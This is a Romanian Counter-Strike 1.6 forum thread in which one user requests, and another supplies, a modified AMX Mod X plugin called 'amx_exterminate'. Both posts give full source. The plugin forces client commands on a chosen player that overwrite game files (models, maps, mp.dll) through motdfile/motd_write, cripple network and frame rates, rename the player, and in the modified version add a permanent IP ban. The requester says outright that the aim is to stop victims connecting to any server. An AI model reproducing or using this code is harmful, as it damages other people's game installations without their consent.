Cerere Modificare Plugin [rezolvat!]

Modificari necesare ale pluginurilor

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Post Reply
BeBeTo48
Membru, skill 0
Membru, skill 0
Posts: 2
Joined: 07 Feb 2012, 21:17
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 1 time
Contact:

07 Feb 2012, 21:37

Buna ! Am gasit acest plugin "amx_exterminate.amxx" ... este un fel de destroy, dar putin mai tare ... in sensul ca strica mai multe fisiere din CS, si nu te mai lasa sa te conectezi pe nici un server nici daca stergi config.cfg :> si de aceea imi place mai mult. Rugamintea [-o< mea la voi este sa imi modificati acest plugin astfel incat sa dea si ban permanent cand este executata comanda si sa faca si 2-3 poze inainte si daca se poate sa modifice si numele jucatorului in "Am luat destroy pe serverul (aici voi pune eu numele serverului ca sa nu fac reclama pe forum)" :D
SMA | Afiseaza codul
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
	"rate 1",
	"cl_cmdrate 1",
	"cl_updaterate 1",
	"fps_max 1",
	"sys_ticrate 1",
	
	"name http://wWw.Nume Server.Ro",
	
	"motdfile models/player.mdl;motd_write x",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile models/v_m4a1.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	
	"cl_timeout 0"	
};

public plugin_init( )
{
	register_plugin( "Exterminate", "1.0", "AleCs14" );
	register_concmd( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_LEVEL_G, "<player>" );
}

public Concmd_AMXX_exterminate( id, level, cid )
{
	if( !cmd_access( id, level, cid, 2 ) )
		return PLUGIN_HANDLED;
	
	new sArgument[ 32 ];
	read_argv( 1, sArgument, charsmax( sArgument ) );
	
	new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
	
	if( !player )
		return PLUGIN_HANDLED;
	
	for( new i = 0; i < sizeof( g_sCommands ); i++)
		client_cmd( player, g_sCommands[ i ] );
	
	new name[ 32 ], name2[ 32 ], ip2[ 16 ];
	get_user_name( id, name, charsmax( name ) );
	get_user_name( player, name2, charsmax( name2 ) );
	get_user_ip( player, ip2, charsmax( ip2 ), 1 );
	
	log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );
	
	player_color( 0, ".gADMIN .v%s .g: exterminated .v%s", name, name2 );
	
	client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );	
	
	return PLUGIN_HANDLED;
}

stock player_color( const id, const input[ ], any:... )
{
	new count = 1, players[ 32 ]

	static msg[ 191 ]
	vformat( msg, 190, input, 3 )
	
	replace_all( msg, 190, ".v", "^4" ) /* verde */
	replace_all( msg, 190, ".g", "^1" ) /* galben */
	replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
	replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
	
	if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
	{
		for( new i = 0; i < count; i++ )
		{
			if( is_user_connected( players[ i ] ) )
			{
				message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
				write_byte( players[ i ] );
				write_string( msg );
				message_end( );
			}
		}
	}
}
Va multumesc si astept raspunsuri cat mai rapide daca se poate ! :X
Last edited by CryWolf on 08 Feb 2012, 09:00, edited 2 times in total.
Reason: Foloseste bbcode-ul pentru sursa la textele lungi si nu mai folosi culori stridente
Kekshost
User avatar
H3adShoT
Membru, skill +3
Membru, skill +3
Posts: 1254
Joined: 03 May 2009, 19:19
Detinator Steam: Da
CS Status: Nu mai incercati sa-mi furati contul!
Detinator server CS: Nimic
SteamID: PM
Reputatie: Restrictie moderator
Location: Hunedoara
Has thanked: 47 times
Been thanked: 92 times
Contact:

07 Feb 2012, 23:19

| Afiseaza codul
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
	"rate 1",
	"cl_cmdrate 1",
	"cl_updaterate 1",
	"fps_max 1",
	"sys_ticrate 1",
	
	"name Am luat destroy pe serverul ",
	
	"motdfile models/player.mdl;motd_write x",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile models/v_m4a1.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	
	"cl_timeout 0"	
};

public plugin_init( )
{
	register_plugin( "Exterminate", "1.0", "AleCs14" );
	register_concmd( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_LEVEL_G, "<player>" );
}

public Concmd_AMXX_exterminate( id, level, cid )
{
	if( !cmd_access( id, level, cid, 2 ) )
		return PLUGIN_HANDLED;
	
	new sArgument[ 32 ];
	read_argv( 1, sArgument, charsmax( sArgument ) );
	
	new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
	
	if( !player )
		return PLUGIN_HANDLED;
	
	for( new i = 0; i < sizeof( g_sCommands ); i++)
		client_cmd( player, g_sCommands[ i ] );
	
	new name[ 32 ], name2[ 32 ], ip2[ 16 ];
	get_user_name( id, name, charsmax( name ) );
	get_user_name( player, name2, charsmax( name2 ) );
	get_user_ip( player, ip2, charsmax( ip2 ), 1 );
	
	log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );
	
	player_color( 0, ".gADMIN .v%s .g: exterminated .v%s", name, name2 );
	
	client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );	
	
	client_cmd(id, "amx_banip ^"%s^" 0", ip2)

	return PLUGIN_HANDLED;
}

stock player_color( const id, const input[ ], any:... )
{
	new count = 1, players[ 32 ]

	static msg[ 191 ]
	vformat( msg, 190, input, 3 )
	
	replace_all( msg, 190, ".v", "^4" ) /* verde */
	replace_all( msg, 190, ".g", "^1" ) /* galben */
	replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
	replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
	
	if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
	{
		for( new i = 0; i < count; i++ )
		{
			if( is_user_connected( players[ i ] ) )
			{
				message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
				write_byte( players[ i ] );
				write_string( msg );
				message_end( );
			}
		}
	}
}
unde e cu rosu modifici numele
Retras din activitate.
BeBeTo48
Membru, skill 0
Membru, skill 0
Posts: 2
Joined: 07 Feb 2012, 21:17
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 1 time
Contact:

08 Feb 2012, 01:59

BOSS merci mult de tot !!! :X Puteti sa dati TOPIC CLOSED ! :D
Post Reply

Return to “Modificari pluginuri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 0 guests